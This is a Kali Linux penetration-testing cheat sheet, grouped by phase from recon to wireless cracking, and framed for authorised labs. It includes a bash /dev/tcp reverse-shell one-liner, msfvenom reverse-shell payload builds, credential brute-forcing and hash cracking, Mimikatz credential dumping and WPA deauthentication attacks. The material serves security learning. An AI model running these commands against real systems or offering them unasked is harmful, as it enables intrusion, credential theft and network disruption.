📟 Kali Linux CLI Cheat Sheet

Organized by engagement phase. Verified commands — built from scratch.

Ethics first: These commands are for labs, CTFs, and systems you have explicit written permission to test — TryHackMe, HackTheBox, VulnHub, or your own VM lab. Never run them against targets you don't own or aren't authorized to test.

Daily Driver — file ops, networking, text processing

Navigation & files

pwdshow your current directory
ls -lalist all files, including hidden ones, with details
cd /path / cd .. — move into a directory / go up one level
find /path -name "*.txt" 2>/dev/nullsearch for files by name, hiding permission errors
locate filenamefast filename search (run `updatedb` first to refresh its index)
cp -r src/ dst/copy files or whole directories
mv old newmove or rename files
rm -rf dir/delete a directory and everything in it (no undo — be careful)
mkdir -p a/b/ccreate nested directories in one shot
touch filecreate an empty file or update its timestamp
chmod +x script.shmake a file executable
chown user:group filechange a file's owner and group
tar -xzvf file.tar.gzextract a .tar.gz archive
unzip file.zipextract a .zip archive

Viewing & processing text

cat fileprint a whole file to the screen
less filescroll through a file page by page (q to quit)
head -n 20 file / tail -n 20 file — show the first / last 20 lines
tail -f /var/log/auth.logwatch a log file update in real time
grep -r "password" . 2>/dev/nullsearch every file under here for a string
grep -i "pattern" filecase-insensitive search in one file
cut -d: -f1 /etc/passwdprint the first colon-separated field of each line
awk '{print $1, $3}' fileprint the 1st and 3rd whitespace-separated columns
sort file | uniq -c | sort -nrcount how often each unique line appears, most common first
wc -l filecount the lines in a file
strings binarypull readable text out of a binary file

Networking basics

ip ashow your interfaces and IP addresses
ip rshow the routing table (reveals the gateway)
ping -c 4 10.0.0.1send 4 pings to check connectivity
ss -tulnlist all listening TCP/UDP ports on this machine
curl -I https://targetfetch just the HTTP headers from a site
curl -s https://target | head -c 500quietly grab the first 500 bytes of a page
wget http://target/filedownload a file over HTTP
ssh user@10.0.0.5 -i key.pemSSH in using a private key file
scp file user@10.0.0.5:/tmp/securely copy a file to a remote host
python3 -m http.server 8000serve the current directory over HTTP (handy for transferring files to a target)
nc -lvnp 4444netcat listener: wait for an incoming connection on port 4444
nc 10.0.0.5 4444connect to a host on port 4444

Recon & Enumeration

Host & port discovery

nmap -sn 192.168.1.0/24ping sweep: find which hosts are alive on the subnet
nmap -sS -Pn 10.0.0.5stealth SYN scan without host discovery (avoids ping-based detection)
nmap -sV -sC -O -p- 10.0.0.5full port scan with service/version detection, default scripts, and OS fingerprinting
nmap -A 10.0.0.5aggressive scan: OS, versions, scripts, traceroute in one go
nmap -sU --top-ports 20 10.0.0.5scan the 20 most common UDP ports (slow but often overlooked)
nmap -oN scan.txt 10.0.0.5save scan results to a text file
masscan -p1-65535 10.0.0.0/24 --rate=1000extremely fast scan of all 65k ports across a subnet

Web enumeration

whatweb http://10.0.0.5fingerprint the technologies a website runs on
gobuster dir -u http://10.0.0.5 -w /usr/share/wordlists/dirb/common.txtbrute-force hidden directories and files
ffuf -u http://10.0.0.5/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txtfast web fuzzer for paths, params, or vhosts
nikto -h http://10.0.0.5scan a web server for known misconfigurations and outdated software
wpscan --url http://10.0.0.5enumerate WordPress users, plugins, themes, and known vulns
nuclei -u http://10.0.0.5run community vulnerability templates against a target

SMB / Windows / network services

enum4linux -a 10.0.0.5enumerate everything SMB: users, shares, policies, OS info
smbclient -L //10.0.0.5list the SMB shares on a host
smbclient //10.0.0.5/share -U guestconnect to an SMB share as a user
rpcclient -U "" -N 10.0.0.5open a null-session RPC connection to query users and groups
ldapsearch -x -h 10.0.0.5 -s basequery the LDAP root for directory info
snmpwalk -c public -v2c 10.0.0.5walk the SNMP tree with the default community string

DNS & OSINT

dig target.com anypull all DNS records for a domain
host -t mx target.comlook up a domain's mail servers
nslookup target.comsimple DNS lookup
dnsenum target.combrute-force subdomains and zone-transfer attempts
whois target.comregistration and ownership details for a domain
theHarvester -d target.com -b googleharvest emails, subdomains, and names from public sources

Exploitation

Metasploit workflow

msfconsolelaunch the Metasploit Framework console
search smbsearch loaded modules by keyword (inside msfconsole)
use exploit/...select a module to work with
show optionssee what the module needs configured
set RHOSTS 10.0.0.5 / set LHOST 10.0.0.10 — set target and your callback address
run (or exploit) — launch the module

Payload generation

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.0.0.10 LPORT=4444 -f elf -o shell.elfbuild a Linux reverse-shell payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.10 LPORT=4444 -f exe -o shell.exebuild a Windows reverse-shell payload

Finding & using exploits

searchsploit apache 2.4search the local Exploit-DB copy by software and version
searchsploit -m 12345copy exploit #12345 into your current directory

Credential attacks

hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://10.0.0.5 -t 4brute-force SSH login with 4 parallel tasks
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txtcrack password hashes with John the Ripper
hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txtGPU-accelerated cracking (mode 0 = MD5, attack 0 = dictionary)

Web exploitation

sqlmap -u "http://10.0.0.5/page?id=1" --dbstest a URL parameter for SQL injection and list databases
sqlmap -u "http://10.0.0.5/page?id=1" -D dbname --tableslist tables inside a database once injection is confirmed

Shells

nc -lvnp 4444catch an incoming reverse shell on your machine
/bin/bash -i >& /dev/tcp/10.0.0.10/4444 0>&1classic bash reverse shell one-liner (run on the target)
python3 -c 'import pty;pty.spawn("/bin/bash")'upgrade a dumb shell to a proper interactive TTY

Post-Exploitation

Situational awareness (run on the compromised host)

whoami / id — who are you and what groups are you in
hostname / uname -a — machine name and kernel/OS version
ps auxlist all running processes (look for odd ones)
ss -tulnplistening ports and which process owns each
envenvironment variables (sometimes hold credentials)
historypreviously typed commands (often leak passwords)

Privilege escalation recon

sudo -lshow what you can run as root without a password
find / -perm -4000 -type f 2>/dev/nullfind SUID binaries (a classic privesc path)
cat /etc/crontab / crontab -l — scheduled tasks that may run as root
ls -la /etc/shadowcheck whether the password hash file is readable
linpeas.shrun LinPEAS, the go-to automated Linux privesc enumeration script

Meterpreter (once you have a Meterpreter session)

getuid / sysinfo — current user and system details
getsystemattempt automatic privilege escalation to SYSTEM/root
migrate <PID>move into a more stable process
hashdumpdump local password hashes
upload / downloadmove files to and from the target

Pivoting & lateral movement

ssh -D 9050 user@10.0.0.5open a SOCKS proxy through a compromised host for pivoting
proxychains nmap -sT 10.1.0.0/24scan an internal subnet through your proxy (configure /etc/proxychains.conf first)
bloodhound-python -u user -p 'pass' -d domain.local -c all -ns 10.0.0.5collect Active Directory data for BloodHound attack-path mapping
sekurlsa::logonpasswordsdump plaintext credentials from memory (Mimikatz, on Windows targets)

Wireless

Setup

iwconfigcheck wireless interfaces and their mode
airmon-ng check killkill processes that interfere with monitor mode
airmon-ng start wlan0put the adapter into monitor mode (becomes wlan0mon)

Survey & capture

airodump-ng wlan0monpassively list nearby networks, clients, and channels
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0monlock onto one network's channel and save its traffic to files
aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0monsend 5 deauth frames to force a client to reconnect (captures the WPA handshake)

Cracking

aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.capdictionary-attack a captured WPA handshake
hcxdumptool -i wlan0mon -o dump.pcapng --enable_status=1capture PMKIDs (no clients needed)
hcxpcapngtool -o hashes.hc22000 dump.pcapngconvert the capture into Hashcat format
hashcat -m 22000 hashes.hc22000 /usr/share/wordlists/rockyou.txtcrack WPA handshakes/PMKIDs on the GPU

Other tools

wifiteautomated wireless auditing: scans, captures, and cracks with minimal input
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vvattack WPS PIN on routers that leave WPS enabled

*Keep this file as your desk reference. Pair it with a Kali VM and legal labs (TryHackMe, HackTheBox) to practice each phase hands-on.*